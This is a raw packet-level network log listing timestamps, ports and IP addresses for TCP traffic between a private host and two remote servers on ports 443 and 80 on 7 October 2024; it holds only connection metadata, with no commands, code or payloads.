Oct 7, 2024 21:18:46.705073118 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.706674099 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.706904888 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.709980965 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.787527084 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.787527084 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.787545919 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.787554979 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.793868065 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.793868065 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.793903112 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.793935061 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.797308922 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.797360897 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.803524971 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.803545952 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.803563118 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.803567886 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.807082891 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.807091951 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.807118893 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.807123899 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.094693899 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.094773054 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.094943047 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.150118113 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.150163889 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.150465012 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.150501966 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.150552034 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.151832104 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.151876926 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.151936054 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.152060032 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.152072906 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.185089111 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.185107946 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.188038111 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.188062906 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.188133955 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.188306093 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.188323021 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.188987017 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.188996077 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.189038992 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.190256119 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.190270901 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.343310118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:47.348656893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:47.820475101 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.824867964 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.826715946 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.826739073 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.827267885 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.827274084 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.827425003 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.828557968 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.828568935 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.829035997 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.829041004 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.829225063 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.829246998 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.829705954 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.829711914 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.841942072 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.842463017 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.842475891 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.842940092 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.842943907 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.862684011 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.867119074 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.867134094 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.867758989 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.867763042 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.930814981 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.931526899 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.931916952 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.932327032 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.932327032 CEST	49903	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.932343006 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.932349920 CEST	443	49903	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.935952902 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.936000109 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.936075926 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.936470985 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.936484098 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.941728115 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.941978931 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.942440987 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.942481995 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.942492008 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.942514896 CEST	49904	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.942519903 CEST	443	49904	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.945019960 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.945058107 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.945151091 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.946121931 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.946135998 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.955573082 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.955643892 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.955688000 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.955833912 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.955846071 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.955856085 CEST	49905	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.955859900 CEST	443	49905	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.956981897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:47.957027912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:47.957031965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:47.957123995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:47.961539984 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.961566925 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.961627007 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.961986065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:47.962635040 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.962651968 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.967029095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:47.973629951 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.973666906 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.973721027 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.973771095 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.973838091 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.973843098 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.973851919 CEST	49906	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.973859072 CEST	443	49906	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.977003098 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.977011919 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.977107048 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.977253914 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.977264881 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.978910923 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.979042053 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.979099035 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.979136944 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.979157925 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.979171991 CEST	49902	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.979178905 CEST	443	49902	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.983530998 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.983562946 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:47.983617067 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.983738899 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:47.983751059 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.591239929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:48.591317892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:48.591321945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:48.591351032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:48.603295088 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.604708910 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.604724884 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.605178118 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.605181932 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.605254889 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.606008053 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.606024027 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.606384993 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.606389999 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.608670950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:48.613573074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:48.617902040 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.618315935 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.618330956 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.618705988 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.618711948 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.621033907 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.621449947 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.621460915 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.621963024 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.621968985 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.639281988 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.639588118 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.639600992 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.639992952 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.639998913 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.711728096 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.711800098 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.711905003 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.711958885 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.712502003 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.712502003 CEST	49907	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.712513924 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.712522984 CEST	443	49907	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.714831114 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.715060949 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715090036 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.715163946 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715311050 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715327978 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.715378046 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.715431929 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715468884 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715468884 CEST	49908	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.715478897 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.715487003 CEST	443	49908	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.717809916 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.717842102 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.719409943 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.719409943 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.719438076 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.727287054 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.727369070 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.727408886 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.727426052 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.727454901 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.727612019 CEST	49909	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.727621078 CEST	443	49909	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.730015993 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.730037928 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.730695009 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.730695009 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.730715036 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.737296104 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.737664938 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.737709045 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.738450050 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.738464117 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.738495111 CEST	49910	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.738507986 CEST	443	49910	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.740556955 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.740588903 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.740652084 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.740751028 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.740767002 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.748769045 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.749027967 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.749066114 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.749114990 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.749180079 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.749180079 CEST	49911	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.749186993 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.749192953 CEST	443	49911	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.750962973 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.751005888 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:48.751089096 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.751207113 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:48.751224041 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.213180065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.213239908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.342190981 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.356834888 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.379101992 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.379301071 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.379318953 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.379739046 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.379744053 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.380078077 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.380098104 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.380486012 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.380490065 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.418744087 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.421564102 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.424756050 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.471637011 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.472285032 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.505666971 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.505681038 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.505815029 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.505840063 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.506117105 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.506189108 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.506416082 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.506441116 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.506494045 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.506505013 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.507108927 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.510935068 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.583381891 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.583444118 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.583846092 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.583859921 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.584595919 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.584595919 CEST	49913	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.584620953 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.584631920 CEST	443	49913	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.672985077 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.673013926 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.673453093 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.673459053 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.673717022 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.673743963 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.674159050 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.674169064 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.674683094 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.674702883 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.674772978 CEST	49914	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.674778938 CEST	443	49914	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.676914930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.677015066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.681509018 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.681581020 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.681705952 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.681900978 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.681930065 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.682003021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682022095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682071924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682087898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682174921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682174921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682204962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682219028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682230949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682238102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682250023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682321072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682395935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682482004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682495117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682507038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682542086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682562113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682902098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682915926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682929039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682943106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.682955027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682976961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.682992935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.683195114 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.683221102 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.683283091 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.683902025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.683976889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.684372902 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.684400082 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.687832117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.687980890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.688052893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.688095093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.688146114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:49.688482046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.688496113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.688508987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.688520908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689037085 CEST	80	49810	95.164.90.97	192.168.2.5
